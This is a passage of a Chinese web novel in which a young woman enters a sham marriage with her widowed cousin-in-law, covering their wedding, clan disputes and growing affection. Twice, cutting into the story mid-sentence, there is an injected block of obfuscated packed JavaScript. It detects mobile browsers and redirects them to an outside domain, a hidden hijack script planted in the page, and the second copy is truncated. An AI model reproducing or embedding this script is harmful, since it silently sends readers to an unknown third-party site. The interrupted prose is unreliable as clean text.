被唤作杏杏红着脸任游潇荷拉走,直到苍槐院又一次安静下来,谢柔春又算了几笔账目,忽而觉得有些凉,便披上外衫,随意问道:“我记得指给游潇荷那个小厮名为林辛,如今这个杏杏又是谁?” “禀家主,杏杏就是林辛,是游小姐觉得辛这个字不好,就给改成了杏。” “呵,真有够俗气的。”谢柔春冷嗤,指尖拨弄着算盘,脑海里的刺痛却一根根拨弄着他的神经。 游潇荷,我不是十几岁的小郎君,不会被你一片伪装的赤子之心就被骗到.......杏,杏杏,你倒是叫得可爱,但那贱俾子也配? 头顶的花环被扯落,花瓣散落在砚台里,墨汁染黑粉白,谢柔春静静地凝睇着,最后在满院死寂中,起身吩咐:“将砚台收拾了,账本和算盘送到书房里来。我不想再看到这个花环,立即处理掉。” 婚礼那天,游潇荷天不亮就被拉起来梳妆,繁复的婚服勒得她喘不过气,描眉画眼的时间又太长,她饿得不行,推开喜婆起身要去找东西吃。刚到门口,已经穿戴好的谢柔春便将她堵了回去。按理说新郎的上妆流程会更繁琐,也不知他是什么时辰起身的,又或是一夜没睡。总之游潇荷丧气地坐回铜镜前,上妆后愈发冷艳凌厉的郎君摁着她的肩膀,细细端详着少女的眉眼,而后拿过喜婆手里的胭脂,又唤来湿帕子给她擦掉一层粉,游潇荷血气充盈的柔嫩皮肤更显出小女郎的鲜活来,指肚抿到过浓的口脂,游潇荷忍不住舔了下唇瓣,仰着脸去看谢柔春。他却避开她的注视,专心在游潇荷眉心描摹了一朵花钿。 “好看,表姐夫,我今天好漂亮啊,虽然没有你漂亮。” 眼看妆面完成,游潇荷又开心地抓住他的衣袖,弯弯眸子快活地起身,在谢柔春面前转了一圈,期待地看着他问:“你不觉得我今天很好看很不一样么?” 屋内的下人都忍不住翘起唇角,竟然也被今日这场假婚礼的喜气感染到,而冷静自持的谢郎君,攥紧了她方才捏过的袖角,语气平淡但眼睫颤动,避而不答,却催促她:“都弄好了就赶紧吃两口早点,然后跟着房叔去前厅迎客。” “可是我想吃蟹黄包,还有银耳莲子.......” “游潇荷,再多扯一个字,今天你什么也别吃了。”谢柔春又被她气到,冷哼着甩袖离开,但到门口,却又微微侧头,对屋里勾着脑袋沉默的小女郎说:“今日小厨房里做了你昨天吃的燕窝,还有些春卷和奶酥,你直接在院子里扒两口,别让宾客们瞧见了,不成体统。” “我就知道你比我娘会疼人!”游潇荷又雀跃地笑起来,谢柔春被吵得头疼,甩上门离开,但走过树荫,唇角却微微翘着落满阳光。 54.入赘给冷艳黑寡夫后,你被他哭着囚禁了(二) 婚礼来的大多都是游氏一族的族人,还有和品繁阁有生意往来的商贾以及地方乡绅与官员.......游潇荷笑得嘴角都僵了,被人当成花果山的猴子似的围观,但还好她脸皮厚,别人看她,她也看回去。两个眼睛又大又亮,瞪得那些探究的人不好意思地掩面离开。房叔瞧着她的举止,一时之间倒不知该喜还是该忧了。 一直到宾客登记结束,要回正厅时,游潇荷才小声地问房叔,怎么不见谢家来人呐。房叔面色一变,沉默半晌,才含糊地对她说:“谢氏自从三小姐中了举人之后,就与主君切断关系了。如今主君虽承谢姓,但却不再是谢家人了。” “一个举人,我还以为考上了什么状元榜眼,官场浮沉,就谢家人针尖那么大的心眼,混也混不出个名堂来。”游潇荷皱眉讥讽地点评,而后甩甩脑袋又重新换了副眉眼欢喜的模样,迈入前厅和游家人攀谈起来。 房叔跟在后面怔怔地看着这少女,忽而想起谢家人给主君送来移除族谱的文书时,主君也才十九岁,当时他正被老太君罚跪在祠堂,冬日苦寒,谢柔春点灯时手抖的厉害,不小心推翻烛台,烧到了牌位前的帘子。他慌忙扑灭了火,但还是被发现,又被老太君命人杖大了七八棍,最后谢柔春昏过去,再醒来时,他就静静地望着被封死的窗户,在一片昏暗的视线里,看着木板间透出的一线日光,疑惑地问房叔:“你说,如若我有一个爱我的妻主,母父是不是就不会与我断绝联系,老太君........老太君也不会这么折磨我了?” 那时房叔拿着药膏泣不成声,可谢柔春却只是红着眼睛,沉淀着浓稠的恨意,他自问自答:“不会的.......不会的,没有人能救得了我,从母亲为了给三妹凑束脩将我卖给游家冲喜那一天起,我就知道,这辈子........” “这辈子谁也指望不上,只能自己救自己。” 房叔擦了擦眼角,跟上正在喝酒的游潇荷,她见他来了,便要了一个帕子,喝没几口,借着擦嘴的由头全吐到了帕子里。游潇荷虽是游氏旁支,但也不觉得自残形愧,反而跟虽未谋面的表亲们勾肩搭背,好似感情多么深厚的姐妹一样。房叔跟着她身后简直要被逗笑,刚喝完一圈,几个准备找茬的都被喝趴下了,而游潇荷正准备和不服气的拼酒,这时候却见林杏匆匆忙忙闯进厅里,抓住游潇荷的袖子,喘着气断断续续地说:“后、后院.......月、月小姐强迫主君,闯进了婚房,还掀了主君的喜帕,正........” 没等林杏说完,房叔只觉得耳畔掠过一阵风,再回神正端着酒的少女已经快步冲出厅堂,游潇荷跑得极快,众人跟不上她,等感到后院之后,他们只看到了被挽着衣袖,系着裙边一拳拳殴打的游月倾。谢柔春虽然发髻散落,但衣衫已经整理平整,鸳鸯团扇遮面,只露出一双冷淡的微挑狐狸眼,平静地扫视过众人,在游潇荷揪着游月倾的衣领将她往墙上撞时,才出声止住她:“妻主,好了,交给官府就行,刚好今天知县老爷也在府里吃酒,游月倾轻薄人夫,人证物证俱在,知县老爷定会换我们小妻夫一个清白的。” 游潇荷还不过瘾,像没听到一样,将游月倾重重摔到墙上,谢柔春被她的愤怒震慑,一直以来都觉得面前的少女是个贪吃贪玩的纨绔,即使刺她几句,转头就忘了,也从不记仇。可现下看着她赤红的眼眸,谢柔春想起刚才她将游月倾这个畜生从自己身上拔下来那一刻,日光猛地全照到他绝望晦暗的眼里,一瞬间刺得他眼泪溢出。那时候游潇荷半跪在床边,从怀里拿出初见时抢他的帕子,洗过的手帕带着清香,她耐心地给他一颗颗擦掉眼泪,而后将手帕还给谢柔春。少女则转身,将地上被砸懵的游月倾揪到了院子里,拳头雨点般落下,若不是他出来拦,只怕真能打出人命来。 “我说好了,妻主,不可。”伸手摁住她的手腕,谢柔春蹙眉看着少女,摇了摇头。她的目光仍旧澄净如水,即使愤怒也依旧亮晶晶的。谢柔春哑声,颊边温热,仿佛被她的指肚拂过的触感仍有残留。垂下眼睫整理片刻,谢柔春才伸手挽住少女的胳膊,依偎着她走到众位宾客面前。 冷艳郎君挑起眼尾,轻柔一笑,环视众人道:“我知道诸位都是怎么看待柔春的,我确实是个外姓嫁来游家,还未进门便死了先妻主。这些年骂我克夫骂我扫把星,柔春都无所谓。但品繁阁从末流香坊做到今日繁洲的龙头,都是我谢柔春一步步布局筹谋而来。老太君如今中邪口不能言身不能动,对于我择妻另嫁之事,他老人家无能无力。但我到底还是个体贴的媳夫,所以特选了游氏旁支的女儿,各位耆老也不必气得吹胡子瞪眼,按照本朝律法,如若妻死,夫婿可择妻主族内女郎再嫁成婚。且先妻主若无子嗣,夫郎另嫁的族人便可顺势继承先妻主的遗产。故而,现下的游府,是游潇荷说了算。这游月倾在我妻主的地盘上,欺辱我妻主的男人,便是打死她,也顶多说一句游潇荷血气方刚罢了。我劝诸位,我家妻主年纪小,力气大,拳头不长眼。你们今天都是高高兴兴来喝酒的,等结束后,也得平平安安回家不是?” 一通话,先礼后兵,说得众人哑口无言,心里那些占便宜看热闹的小心思被戳破,脸上也挂不住,几个年长的族人率先咳嗽几声,打破僵局,朝着游潇荷笑眯眯地招手,说:“哎呀以为什么事情呢,既然已经解决了,就继续回前厅喝酒吧,潇荷都还没喝红脸呢,怎么能放她回来软玉温香,这么早就入洞房是不是?” 游潇荷胳膊被谢柔春挽着,虽然意动,确实嘴馋还想喝酒,但抿着嘴唇巴巴地看着谢柔春,乖乖等他的命令。谢郎君猛地被她用期待的目光紧紧黏着,呼吸有些紊乱,但又止不住心软,唇角挽起,笑意也多了几分真切。 擦过眼泪的帕子给她轻轻系到破皮的指关节上,谢柔春给她捋了捋鬓发,抬起团扇遮住两人的下半张脸,眉眼清媚笑吟吟悄声道:“胆敢喝醉在前厅胡闹,我今晚定让你比游月倾还要惨,记住了吗?” “你,哼。”推开掩面的团扇,游潇荷纷纷地揉乱头发,走到宾客里随手张开胳膊揽住两个刚认识的老表,热热闹闹朝前厅走去。房叔待到苍槐院安静下来,才走到谢柔春跟前,和他说了一早上游潇荷的表现。 听到她对谢家人的点评,谢柔春止不住笑,但眼尾湿润,他抬手擦去,垂眼感受着此刻温煦如水的日光。谢郎君转身,在去书房的路上却拐了一下,轻声吩咐身后的房叔:“准备些醒酒的药材,给我送到小厨房里。” 游潇荷这泼猴,又不知道要仗着年轻,把自己给喝成什么样子呢......... “不、不能再喝,我、我我........头晕头晕,扶我呕........” 宴会过了一半,游潇荷扶着林杏装醉,半边身子倚在少年怀里,踉踉跄跄地退出大厅朝苍槐院去走。房叔拦住还想追着她灌酒的宾客,而拐过长廊,游潇荷瞟了眼身后,见没人跟来,长舒了口气,站直身子朝林杏说:“忙活半天你有吃饭吗?我肚子都饿了,咱们去小厨房找点糖果子吃吧。” “小荷.......”林杏小声叫着她应允的称呼,脸颊陀红,不知为何,望着一身婚服的明媚少女,林杏心里不可遏制地生出一股渴望,如若.......如若小荷今日娶的新郎是他就好了,他一定会好好照顾小荷,绝不会像主君那般严厉与冷淡。 “主君还在后院候着,你去的晚了,他会发火的。”语气为难地劝住游潇荷,林杏扯着她的袖子往苍槐院拽,途中见少女实在闷闷不乐,就掏出一个蝈蝈笼子地给她,弯着眼眸温柔地笑道:“秋天要到了,我给小荷编了个蝈蝈笼子,到时候你可以捉几只蝈蝈,还有蟋蟀、打雀儿.......我们乡下孩子没见过什么世面,也就会这几样小把戏。不知道小荷喜欢不喜欢?” “杏杏,你真好!”游潇荷捧着蝈蝈笼子笑起来,眼眸晶亮地望着林杏,忽然俯身飞快地抱了一下他,而后直起身认真地说:“你想去游喜镇吗?我们那里没有繁洲富贵,但有果岭小溪还有一座座山头,可以开垦种地.......反正就是很好玩,还能放马钓鱼,杏杏你喜欢吗?” “小荷喜欢的地方我就喜欢。”少年听着她语无伦次的描述,心也跳得彭彭响,迎着游潇荷的目光,他点头坦率地说:“只要小荷想去的地方,杏杏都愿意跟着你。” 小荷才是杏杏唯一的主子,是杏杏从今以后最在乎的人。 林杏跟着游潇荷走到苍槐院,到内院前被拦了下来,他既进不去,游潇荷就让他先回房休息,找点东西填填肚子。林杏微微笑着点头,拿出手帕想给游潇荷擦一下额间的细汗,但还没碰到她的脸,房叔忽然出现挡在他们中间,冷笑着睨过去,而后恭恭敬敬地朝着游潇荷行礼,道:“女君您快进去吧,主君他都等了您好长时间呢,还为您备了醒酒汤,喝完之后就赶快歇息吧,老奴这就拎着院里的下人们离开了。” “行,不过杏杏今个跟着我照顾辛苦了,晚间你不要给他安排活,也不要欺负杏杏。房叔,你刚看杏杏的眼神很吓人,他胆子小,你把杏杏的脸都给吓白了。” 游潇荷态度诚恳,但说出来的话差点没把房叔气晕,头一次面对这种没心眼的人,他也无话可说,只能皮笑肉不笑道:“女君放心,老奴绝不会动他一根毫毛,只不过警告他守住本分罢了,这都是我们做下人应该牢记的。” “好吧好吧,那杏杏你先回去休息吧,我不会惹表姐夫生气的,你别担心我。” 朝着林杏摆了摆手,游潇荷也知道适可而止,转身离开之前,又忽然扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336619|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头对着目光湿润的少年说:“明个我有空就去找你一起捉蝈蝈啊,到时候谁欺负你了,你就和我说,我肯定帮你揍他嗷。” “瞧你这恋恋不舍的,不知道的以为,我这个寡夫棒打鸳鸯呢。”一进喜房,坐在桌前看书的郎君便出声讥诮,游潇荷蹙眉,见他已经卸掉妆面,换上了玄黑色的常服,自己便也胡乱摘掉首饰,避而不谈,只问他:“今晚我要睡在哪里?你总不能要我睡在你床底下吧?” “游氏还有人在暗中盯着府里,所以新婚之夜,你觉得你要睡在哪里?”谢柔春挽了下鬓边垂落的发丝,勾唇浅笑地睨向游潇荷,融融烛光下竟显出几分旖旎柔情。 “知道了,我打地铺。”游潇荷认命地抱着被褥铺到地上,自己走到里间洗漱,而后刚踩着靴子出来,就被谢柔春迎头扔过来一张毛毯,谢郎君难得声音慌乱,呵斥她说:“你快把衣服穿齐整,怎么、怎么能只穿个里衣就出来啊?你是不知羞耻吗?” “不是,谁睡觉还在穿里三层外三层啊!”游潇荷扯掉毛毯,也不顾低着头的谢柔春如何慌乱,只大方地走到被褥前,舒坦地翘着二郎腿,枕着手臂躺上去。她把脸埋在被子里猛吸一口,最后长舒口气,笑眯眯道:“还是蚕丝被软和啊,还有品繁阁上好的香料,真舒服。” 余光见少女像个小狗似的在被褥上蹭来蹭去,谢柔春眼尾微弯,心里也有些好奇,自己睡了这些年,怎么不知道被褥如此舒服,更别说他夜夜还要和安神茶才能勉强睡上几个时辰了。 想到今夜的安神茶忘了煮了,谢柔春也不好意思再叫下人进来,只好合上书,拆掉发髻,绕过地上滚来滚去的游潇荷,走到床边坐下。 但谢郎君刚褪掉鞋,将腿伸入被子里,游潇荷就忽然扑腾翻到床上,吓得谢柔春下意识拽出枕头下的匕首,胡乱挥着插到两人之间的被褥上,他红着眼战战兢兢地警告她:“再过来一步!你再过来一步我就杀了你!你、你们不管你们是谁,都别想再欺负我!” “我、我要杀了你........”谢柔春像陷入某种癔症当中,下午游月倾的凌辱显然还让他心有余悸。游潇荷一把攥住他的手腕,使了巧劲便将匕首夺走,她扯过毛巾盖到谢柔春头上,抓住他一捧潮湿的乌发,叹气解释道:“你放心,表姐夫,我对你没有歹心,只有尊敬。不过湿着头发睡觉会得头疾,发作起来很疼的,所以你现在需要赶紧把头发给擦干。” 谢柔春渐渐卸下力气,怔怔地坐下,头顶的毛巾被少女胡乱地包着自己的头发擦拭,他还没缓过神,阴郁的狐狸眼里洇开融融烛光,此刻的谢郎君竟也有几分少年人的天真无措。 “头疾可厉害了,我家隔壁那个陈阿公,平日里一顿能吃五个馒头,还管得陈阿婆连大声都不敢,但每次头疾发作,阿公喊得整条街都能听到,小孩子哭个不停,还以为是狼来了呢。” “噗哈哈哈哈哈........哪有你这样埋汰别人的........”谢柔春垂眼被她逗笑,旋即反应过来,又抿了抿唇,不自在地蹭着身子挨着墙边,接过游潇荷手里的毛巾,低声道:“行了,你睡去吧,我自己擦干就行。” “擦头发很累的,胳膊会酸,我给你擦吧,我有劲,擦得还快。” 游潇荷说着又朝谢郎君逼近,她将他整个拢在墙角,少女的影子压迫性地笼罩住谢柔春,他下意识觉得窒息,但再抬眼,游潇荷却已经伸手拢住他的头发,包在毛巾里仔细擦拭。 谢柔春忽然想到,这是第一次有人主动为他擦头发,从前在谢府,因为是庶长子,身边伺候的仆人对他也并不恭敬。而嫁来游府,日子更为艰难,每晚都不知道能不能撑到第二日,哪里还管得了头发干不干?虽说后来处境改变,但一直养成的习惯,也使得谢柔春不怎么会照顾自己,甚至刻意地虐待自己的身体,因为只要那样,他才会获得活着的感觉。 “好了,头发干了。匕首还给你,我不会上床的,只不过我睡觉总是蹬被子,你看见了别往外头说,我娘说姑娘年纪大,还蹬被子会叫人笑话的。” 游潇荷将匕首重新塞到枕头下面,抽走毛巾跳下床,她吹灭了烛台,又摩挲着躺倒地上的被褥里。很快呼吸平稳下来,游潇荷嘟囔了一句,但谢柔春没听清楚,披散着头发躺在床上,不知为何,听着她的呼吸声,他竟渐渐也感到眼皮沉重,只是在睡去前,谢柔春低头看了眼游潇荷,果然见她的被子被踢到了腿边。 摇了摇头,虽然脑袋昏昏沉沉的,但谢柔春还是俯身给她将被子掖好,拨开黏在嘴角的发丝,黑夜里谢郎君无声挽起唇瓣,笑意转瞬即逝,昙花一现般绽开在他脸上。 傻子,怕被别人瞧见,就不怕被我瞧见?说的.......说的好像你我又多亲近似的....... 55.入赘给冷艳黑寡夫之后,你被他哭着囚禁了(三) 婚礼之后,游潇荷在游府内待了将近一个月,渐渐地已经习惯游府的生活,平日里她精力旺盛,醒的也早,在院子里练了几套拳又将花坛里的花给糟蹋一遍之后,谢郎君披着衣服起来,走到院里本想喝口凉茶醒神,结果看到凌乱的花圃,气得脸都红了。揪住游潇荷的衣襟将少女拖到门口罚站,等到房叔端着早膳来苍槐院,才没好气地让巴巴看着自己的游潇荷坐下来一起用膳。 为了不让她继续糟蹋自己的花圃,谢柔春终于同意在花圃旁边给她开垦一片菜园子,随意游潇荷折腾去。于是这几天她都在忙活开垦施肥还有菜种的事情,老实了不少。谢柔春每每回到苍槐院看到她沾着泥灰兴冲冲地朝自己跑过来,心里都会升腾起一股诡异的归属感和踏实感,同时眼底的阴郁也散去不少,撩起眼尾轻笑,抓住游潇荷的手腕将她摁在水盆就是一顿搓,搓完之后再给她涂上自己的香膏,滑腻柔软的手指挤过少女的指缝,谢柔春呼吸顿滞,几乎不敢抬头看游潇荷,只是眼睫乱颤,到底暴露了他的心神。 “明日是族内挑选的吉日,你去给延寿堂给老头子磕个头,就当认干女儿了,不用多么重视,走个过场,只不过......”谢柔春停顿片刻,滑腻的手指抓住游潇荷的指尖,他抬眼看着少女,眸色隐忍紧张地说:“只不过你得喊老头子一声爹,我知道这个要求过分了点,对于你们女子来说,也很没面......” “爹就爹呗,怎么了?你想听我喊你爹都行。”游潇荷笑着打断他,抽出手自己将香膏抹匀,她无所谓看着还愣在窗前的谢郎君,又细细解释说:“表姐夫,其实我不是很聪明,你的一些计划我也不太懂。但我娘从小就教我做人如若太在乎面子,就会失去很多机会和滋味。所以不管喊谁爹,只要对你的计划有益处,我都可以的,又不费什么力气。” “可是.......”谢柔春转过身盯着游潇荷,空荡荡手心攥住,他往前走了几步到他身边,状似不经意地瞥向站在一旁斟茶的林杏,柔声道:“可是你娘教你这么些道理,难道就没教过你,娶了夫郎之后该唤他什么吗?游潇荷,你已经喊了我半个月的表姐夫了,现下我们二人的妻夫之实已经在族谱里登记过了,你还要继续喊我表姐夫吗?” “娶了夫郎自然会唤他的名字,但我们之间是做戏啊,你不是提前警告过我不许逾矩啊,你说我该喊你什么,喊你柔春哥哥?” 柔春哥哥四个字飘到耳畔,谢郎君眼底泛出绯红,心猛地跳空一拍,还未想好怎么才能自然地应下她,游潇荷却已经忍不住抱紧了胳膊,后退几步做出防御的姿态笑着说:“我可不敢,我还是和杏杏他们一样,喊你主君好啦。” “杏杏?你可以这样唤一个下人,为什么就不.......”谢柔春气急败坏地逼近游潇荷,但目光撞进她好奇澄澈的眸子里时,怒气又骤然消弭,阴郁地扫过一旁的少年,谢柔春想起是自己将他调到了游潇荷身边,腹部绞痛,呼吸急促,扶着桌沿坐下,半晌才攒足气力道:“主君就主君吧,但你不许和下人过分亲近,被游氏其他多嘴的人看见,怀疑你我二人是做戏,就全完了。” “你都说多少次了,烦。”游潇荷听见他又这样猜测自己,烦躁地转过身蹲到菜圃里不去看谢柔春,身后安静下来,窸窸窣窣的声音响起,游潇荷忿忿地转身,却蓦然撞进一片香甜里,谢柔春捧着炒栗子递给她,眼尾轻挑着笑意,等少女接过之后,才暗中松了口气,将准备好的弹弓也送给她:“我特意找城里的出名好手艺的木匠给你做的,还给你做了一把木弓,过几天就好。其实本来想一起给你的,但没想到今个惹你生气了,所以先拿出来哄哄你。” 谢郎君居然会示弱,这倒是游潇荷没有想到的,弹弓和炒栗子此刻捧在手里都有些烫手,她拘谨地站起来,想开口说些什么,但谢柔春却已经抬手自然地为她摘掉发丝上的枯叶,轻笑着嗔道:“别以为我这是在讨好你,游潇荷,这不过是你明天替我喊那个老头子一声爹的报酬。别想太多,小姑娘。” 稍稍放下心来,游潇荷眼里溢出笑意,忙不迭点头,又扬起脸任谢郎君蹙眉打量,最后拨开第一颗栗子喂到谢柔春嘴边,自己草草吃了几个就去研究弹弓了。而接过栗子,坐在她身边耐心剥栗子的谢郎君,余光痴缠这她的剪影,心里却酸涩满涨,好似装满了醋做的泡沫。 这傻子,自己不过一句试探,就惹得她生气。如此护着林杏这小贱人,难不成就因为他比自己年轻几岁吗?!可林杏一个村夫,又怎么能和他比,放荡玩意,惯会勾引主子,当初怎么就不让管事的婆子给打死才好呢.......打不死划破脸也....... “想什么呢?这么痴迷?”游潇荷收起弹弓,伸手捏了捏谢郎君的下巴,见他目光迷茫地瞥向自己,一瞬间被郎君眉眼之间的妩媚给震慑住,喉咙发干,半晌才抿了抿唇瓣说:“你别剥了,我不饿,而且你手指一会都该出血了,我们叫晚膳吧,不吃这些零嘴了。” “好,难得你不爱吃零嘴,懂事了些。”谢柔春轻笑,湿热的气息喷洒在游潇荷手腕,她红着脸猛地将手背到身后,呆呆地起身跑到菜园子蹲下,又在拔草戳蚂蚁洞。谢柔春瞧着她笨拙的背影,忍不住扑哧笑出声来,目光温柔,心里难得一片温和平静。 其实...... 谢柔春怔怔地望着游潇荷,想,如若当初他十七岁那年嫁的人就是游潇荷,那相妻教子、侍奉婆公,如此一生,也算是他的圆满。只可惜,他和游潇荷之间,还是差了六岁,还是少了一段缘,真让人不甘心。 第二日谢柔春早早起身,下地先给游潇荷将被子盖好,然后轻手轻脚走到屋外准备好早膳,又将她今日要穿的衣裳给整理一遍,这才进入内室将睡得满脸头发的少女喊醒,随手给她拢了拢头发梳成松散的发髻,等游潇荷自己醒过神后。谢柔春已经端好洗漱的脸盆放到她面前了。 近些时日都是这样,游潇荷略微不适应,想起来杏杏和房叔他们很久没来苍槐院了,便打湿帕子状似不经意地问谢郎君:“怎么最近苍槐院里的下人那么少,都在偷懒吗?这种洗漱用膳的小事还得主君你亲力亲为。” 谢柔春笑容一滞,旋即垂眼轻松揭过话题,只敷衍道:“到底你我之间是假夫妻,如若让下人们看破,会有泄露计划风险,所以我就让苍槐院的下人们都给撤了。剩下你我二人就行,怎么?你天生贵人命,没人伺候那我来伺候你行不行?” “主君且饶了我吧,我还想多活几年去看看漠地和锡高的景色呢。”游潇荷狡黠地眨了眨眼,换了一盆水,重新拿过谢柔春的手帕,给他也擦了擦脸,望着怔住的郎君,她笑吟吟地认真道:“你对我好,我就对你说,这世上其实就这么点简单的道理,所以不用主君总是照顾我,我也可以照顾你的。” 温热的帕子捂在脸上,谢郎君却觉得被烫伤了一般,心头胀痛,他垂眼几乎要掉下泪来。不可遏制的遗憾又涌上心头,谢柔春想,只有他自己知道,十七岁时,他有多想听到这句话....... 你对我好,我也对你好.......可游潇荷,你的好,于我而言,迟到了六年啊。 去延寿堂的路上,游潇荷本习惯了落后谢郎君两三步,和杏杏走在一起方便她溜号东张西望。但这次刚出院子,谢柔春就揽住了她的胳膊,游潇荷吓了一跳,下意识就要拨开他的手腕,但郎君轻笑,平淡地看着她说:“你怕什么?我是会吃了你不成。这延寿堂今个认亲,族内耆老都会来,到时候你我一前一后进去,难不成让别人以为我们是主仆吗?” “可我们可以到了延寿堂门口再挽手,我现在这样不舒服,被你挽着都不会走路了。”游潇荷皱起眉头,还想往后退,但谢郎君却没松开手,反而顺着她的力道凑近了几分,另一只手轻轻滑过少女被他养的白嫩的肌肤,挑起眼尾狐狸似地威胁她:“路上保不齐有眼线,我说了,游潇荷,你娘答应了契约,就是将你卖给我了一年。在这一年里,我就是你的主子,你乖乖的,我就疼你的。你要是不乖.......” “牵手,给给给,给你牵行了吧。主君你一不开心就要拿我娘压我,卑鄙!”游潇荷丧气地反手牵住谢柔春,往前走了几步,两人衣摆纠缠,从树荫里落下的光影漫过她又漫过谢郎君,他的心里也像淌了条小溪似的,唇瓣微微抿起,谢柔春用余光偷偷瞧着游潇荷,被她扭头捕捉到,于是慌忙收回视线假装看路,低声说她:“你走慢一些,游潇荷,刚用完早膳,仔细胃里不舒服。” 等游潇荷和谢柔春二人赶到延寿堂,游氏一族的耆老和子弟排成两列,中间香案牌位,还有一个形容枯槁的老头子在房叔的搀扶下歪在太师椅里。 游潇荷只抬头看了一眼,那老头浑浊的眼睛里满满的不甘与恨意,嘴巴呜呜咧咧,只留下一滩涎水。谢柔春拉着她的手,打断游潇荷的注视,等她看向自己时,这才挽起唇瓣柔柔一笑,牵着少女一起跪下。 “爹亲安康。”游潇荷叫得毫无心里负担,反而是身侧的谢郎君攥紧的衣袍,眼底郁气翻涌,但也只能强压下,估摸着走个过场,没等老头子有所反应,便拉着游潇荷起身,他又弯腰给她拍了拍衣裙,仿佛要掸掉晦气。 游氏族人大多都靠着谢柔春经营的品繁阁过活,只盼着他能顾念些亲情,指头缝漏一点,够他们吃几年白饭才好。所以也没人敢提出异议,游潇荷松了口气,偷偷笑着去看谢柔春,捏了下他的手指,刚凑过去想说能不能回苍槐院料理她的菜园子,结果就听见人群中一道刺耳的声音。一个月前被游潇荷揍过的游月倾的母亲游方回走出来,指着谢柔春道:“谢郎君一个外姓人,把持着游家的祖产,只凭着嫁给游氏女这一层关系,如何叫全族人安心?若谢郎君能在一年内诞下一女半儿,才真在我们游氏内部服众!不然这品繁阁,必须易主!” “你他爹的谁让出来狗叫了!!”游潇荷听她说完,气得脸都黑了,挽了下袖子就往游方回那边冲。谢柔春慌忙抱住她的腰,将小女郎生生拖回来。他抱着她的肩膀,明明自己被羞辱,却是颤声安抚怀里的小妻主:“打不得打不得,妻主,她是长辈,动了她官府要怪罪的。” “她骂你,她在为难你!谢柔春,她没有资格为难你!为了品繁阁日日奔波,晚上熬夜对账本调香的是你!她凭什么用一个外姓就夺去你的功劳,这不公平,谢柔春,这对你根本不公平!” 游潇荷生气时眼圈通红,明明攥紧拳头一脸凶狠,但泪珠却盈盈掉落,哭得狼狈又可怜。谢柔春下意识就伸手去接她的眼泪,又捧住小妻主的脸温柔摩挲,心头也似泡在春江水里,柔软又潮湿。 “我知道这不公平,但律法俗约向来如此,妻主,你我都撼动不了,别哭,你一哭我更难受了。”谢柔春叹了口气,牵住游潇荷转身,冷戾地望向游方回,他嗤笑:“我知道你打的什么算盘,你想要游月倾娶我,可我偏偏就看不上她。我只要我选的妻主,我也只会给她生孩子。所以族内某些想要强辱我令我怀身大肚只能待在后院生女儿的念头,还是早早放弃才好。不然.......”侧目望向挂着泪珠、眉眼稚嫩的游潇荷,谢郎君活了二十五年,头一回放肆而安心地炫耀道:“不然我妻主的拳头不长眼,打死了谁,也是为夫郎报仇,便是告到官府,县老爷也得恭恭敬敬地将我们妻夫无罪释放。” 游潇荷怔住,恍惚觉得晨起时为自己端水洗脸的谢郎君又变成了初见时那个冷艳刻薄的美人。她还未反应过来,谢柔春目光一转,望向她时又含情泣露,只看着就让人心怜。晃了晃脑袋,将方才的疑惑搁到脑后,游潇荷牵紧了谢柔春,侧身挡在他面前,警惕地盯着游氏族人。而那游方回被威胁,虽然脸色不佳,但左顾右盼一圈,还是撑着胆子问:“那你还没回答能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“长辈?”谢柔春笑容消失,轻踹了一下游潇荷,他将毛巾扔到少女怀里,气愤道:“我今年二十五岁,满打满算只不过比你打了六岁,怎么就成了你的长辈?再者说!谁会和自己的长辈成亲啊!你、你我不管,我不要当你的长辈,少在这攀扯关系。过来给我擦头发。” “六岁已经大很多了呀,我娘二十五岁的时候都有了我了........”游潇荷委屈地嘟囔着,但却听话地跪坐到床边一点点给谢柔春擦头发。这一个多月有她在,谢柔春的头发都是被擦干后才就寝入睡的,故而睡梦香甜,连噩梦都少做了,整个人精神很多。府内下人都悄悄传主君是被小妻主宠爱滋养,所以整个人都变得娇艳欲滴,再也不复之前死气沉沉的模样,可见一个男人啊,再怎么要强也离不开女人呢。 虽然不太喜欢别人讨论自己,但是听到这个传言,谢柔春却没让房叔处置那些下人,反而笑意更加餍足,好声好气地赏了那些小厮好几吊钱。 “我是比你大几岁,但游潇荷,我今个白天都把话当着众人给放出去了,你总不能看着我被那些人赶出品繁阁吧?”谢郎君转身牵住她的衣袖,眼尾微微挑着,融融灯火下,瞳仁里漾出一片橙色的海,唇瓣水润鲜妍,他扬起雪白的颈子,手指一点点攀上她的手臂,又软下嗓子,哀哀地求她:“给我个孩子吧,游潇荷,妻主,阿荷,你一向是个最心善的小女郎了,你不会放任我不管的,是不是?” 游潇荷目光不可避免地落在谢郎君脸上,湿热的气息交缠,她像是被他潋滟的目光蛊惑了一般,弯腰凑近了谢柔春,指尖沾着他发丝上的水珠,谢柔春身形轻颤,胳膊揽住游潇荷的脖子,战栗着垂下眼睫。 而少女清甜的气息只与他交融一瞬,她擦过他的脸将下巴搭在了谢柔春肩头,安静地抱住他,心脏砰砰,响在寂静的卧室内,轻而易举地昭示出年少的心事。 “我,我不会让别人欺负你,但是,谢郎君,你给我点时间,我们可以先从拥抱和牵手开始,可以吗?” 